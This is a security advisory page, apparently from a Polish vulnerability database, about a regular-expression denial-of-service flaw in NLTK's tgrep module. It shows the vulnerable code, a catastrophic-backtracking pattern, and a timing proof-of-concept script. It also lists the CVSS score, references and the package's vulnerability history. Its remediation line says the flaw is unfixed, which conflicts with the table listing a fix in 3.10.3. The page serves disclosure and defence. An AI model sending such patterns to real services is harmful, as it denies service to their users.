NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
def _tgrep_node_action(_s, _l, tokens):
...
elif tokens[0].startswith("/"):
assert tokens[0].endswith("/")
node_lit = tokens[0][1:-1]
return (
lambda r: lambda n, m=None, l=None: r.search(
_tgrep_node_literal_value(n)
)
)(re.compile(node_lit)) # User regex compiled and executed with no timeoutThe compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
import nltk
from nltk.tgrep import tgrep_positions
# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree]) # Never returnsWorking Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
import nltk
from nltk.tgrep import tgrep_positions
import time
def test_n(n):
tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
pattern = r"/((a+)+)b/"
start = time.perf_counter()
list(tgrep_positions(pattern, [tree]))
return time.perf_counter() - start
if __name__ == "__main__":
# Adjust the range if needed – these values complete quickly
n_values = [18, 20, 22, 24, 26, 28]
print(f"Testing n = {n_values}\n")
times = []
for n in n_values:
t = test_n(n)
times.append((n, t))
print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---")
factors = []
for i in range(1, len(times)):
prev_n, prev_t = times[i-1]
curr_n, curr_t = times[i]
factor = curr_t / prev_t
factors.append((curr_n, factor))
print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
avg = sum(f for _, f in factors) / len(factors)
print(f"\nAverage factor: {avg:.2f}x")
print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
print(" Larger n (≥ 35) will hang indefinitely.")When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | nltk | < 3.10.3 | 3.10.3 |
Odnośniki
- https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep
- https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7
- https://nvd.nist.gov/vuln/detail/CVE-2026-80206
- https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9
- https://github.com/nltk/nltk
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml
- Wektor CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-1333- Platforma
- Python (PyPI)
- Paczka
nltk- Ujawniono
- 26.08.2026
- Aktualizacja
- 11.10.2026 15:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-3751 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-w3v8-gmh9-3wv7 - CC BY 4.0
Historia podatności: nltk
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 52
- Pierwsza → ostatnia
- 08.2019 09.2026
- Bez poprawki
- 6
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 5
- Wysoka 32
- Średnia 13
- Niska 2
Ujawnienia w latach
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 47
-
NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.